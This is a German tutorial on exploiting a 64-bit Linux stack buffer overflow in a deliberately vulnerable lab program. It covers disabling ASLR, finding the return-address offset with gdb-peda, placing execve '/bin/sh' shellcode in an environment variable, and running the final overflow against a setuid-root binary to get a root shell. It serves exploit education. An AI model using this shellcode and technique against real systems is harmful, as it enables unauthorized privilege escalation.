Buffer Overflow im 64-Bit Stack - Teil 1
In diesem Tutorial erzeugen wir einen Buffer Overflow auf dem 64-Bit Stack, um root Rechte zu erlangen.1
Technische Einzelheiten zu Buffer-Overflows, Stack etc. gibt es hier2
Abhängigkeiten
Was wird benötigt?
-
Kali Linux (oder andere Distri)
-
GDB Debugger
-
gdb-peda
-
gcc Compiler
gdb-peda Exploit Tools
gdb-peda erweitert den Debugger GDB um hilfreiche Kommandos, zur Exploit Entwicklung.3
git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit
ASLR deaktivieren
ASLR muss deaktiviert werden, damit Speicherbereiche nicht randomisiert werden.
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Programm
Quellcode und kompilierte Binaries findet Ihr auch auf meinem github repository
// code from https://blog.techorganic.com/2015/04/10/64-bit-linux-stack-smashing-tutorial-part-1/
#include <stdio.h>
#include <unistd.h>
int vuln() {
char buf[80];
int r;
r = read(0, buf, 400);
printf("\nRead %d bytes. buf is %s\n", r, buf);
puts("No shell for you :(");
return 0;
}
int main(int argc, char *argv[]) {
printf("Try to exec /bin/sh");
vuln();
return 0;
}
Kompilieren
gcc -fno-stack-protector -z execstack bof.c -o bof
RIP Register
Interessant für uns ist das Register RIP
. Dieses enthält eine
Rücksprungadresse, welche auf einen anderen Bereich im Code zeigt. Durch
den Buffer-Overflow überschreiben wir diese Rücksprungadresse. Aber erst
müssen wir herausfinden, wie wir dies machen können.
Wir starten unser Programm im Debugger und generieren einen 200 Zeichen langen String:
gdb -q vulnerable
pattern_create 200 in.bin
r < in.bin
Bytes berechnen
Wieviele Bytes müssen übergeben werden, bevor RIP überschrieben wird?
pattern_offset A7AAMAAiA
Found at Offset 104
104 Bytes müssen übergeben werden, bis der Puffer überläuft. Wir
generieren 104 Zeichen und eine canonical return adress. Hierzu müssen
wir unsere Pseudo-Adresse 0x414141414141
ins canonical address format
konvertieren, indem wir 2 hohe Bytes anhängen:
0x0000414141414141
Das wandeln wir in Shellcode um:
\x41\x41\x41\x41\x41\x41\x00\x00
In a 64-bit architecture, the entire 2⁶⁴ bytes are not utilized for address space. In a typical 48 bit implementation, canonical address refers to one in the range 0x0000000000000000 to 0x00007FFFFFFFFFFF and 0xFFFF800000000000 to 0xFFFFFFFFFFFFFFFF. Any address outside this range is non-canonical.4
Debuggen
Also Debuggen wir nun erneut, mit den herausgefundenen Parametern
python2 -c "print('A'*104 + '\x41\x41\x41\x41\x41\x41\x00\x00')" > in.bin
gdb -q bof
r < in.bin
Exploit
Im letzten Schritt erzeugen wir uns ein entsprechendes Exploit, um die root Shell zu erzeugen.
== Shellcode platzieren ==
Der Shellcode5 wird in einer Umgebungsvariable abgelegt
export PWN=`python2 -c 'print( "\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05")'`
Variable im Stack finden
GetEnvVar
// code by Jon Erickson, page 147 and 148 of Hacking: The Art of Exploitation, 2nd Edition
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
char *ptr;
if(argc < 3) {
printf("Usage: %s <environment variable> <target program name>\n", argv[0]);
exit(0);
}
ptr = getenv(argv[1]); /* get env var location */
ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */
printf("%s will be at %p\n", argv[1], ptr);
}
Kompilieren
gcc getenvar.c -o getenvar
Ausführen
./getenvar PWN ./bof
Die Adresse der Umgebungsvariable ist 0x7fffffffef9e
, dies entspricht
der canonical address 0x00007fffffffef9e
´. Unser Shellcode entspräche
nun:
\x9e\xef\xff\xff\xff\x7f\x00\x00
Angriff
Zunächst setzen wir root Rechte auf die vulnerable Datei und starten diese6
sudo chown root bof
sudo chmod 4755 bof
./bof
Nun können wir den Buffer-Overflow ausführen:
(python2 -c "print('A'*104+'\x9e\xef\xff\xff\xff\x7f\x00\x00')"; cat) | ./bof
classDiagram note for Buffer "Overwrite Buffer" note for RBP "Overwrite RBP" note for RIP "place return address" Buffer --> RBP RBP --> RIP RIP --> 0x00007FFFFFFFC19F Buffer: AAAAAAAAAAAA RBP: BBBBBBBBBBBB RIP: 0x00007FFFFFFFC19F class 0x00007FFFFFFFC19F{ Shellcode() root-Shell }
Repository
Projektdateien | nosoc-repo-bof64.zip |
---|---|
Größe | 5,76 KB |
Prüfsumme (SHA256) | 191e6f1811018970776e3bf035ff460033a47da62335fe5c9475a460b02a10d3 |
Footnotes
-
https://www.ired.team/offensive-security/code-injection-process-injection/binary-exploitation/64-bit-stack-based-buffer-overflow ↩
-
https://medium.com/@buff3r/basic-buffer-overflow-on-64-bit-architecture-3fb74bab3558 ↩
-
https://blog.techorganic.com/2015/04/10/64-bit-linux-stack-smashing-tutorial-part-1/ ↩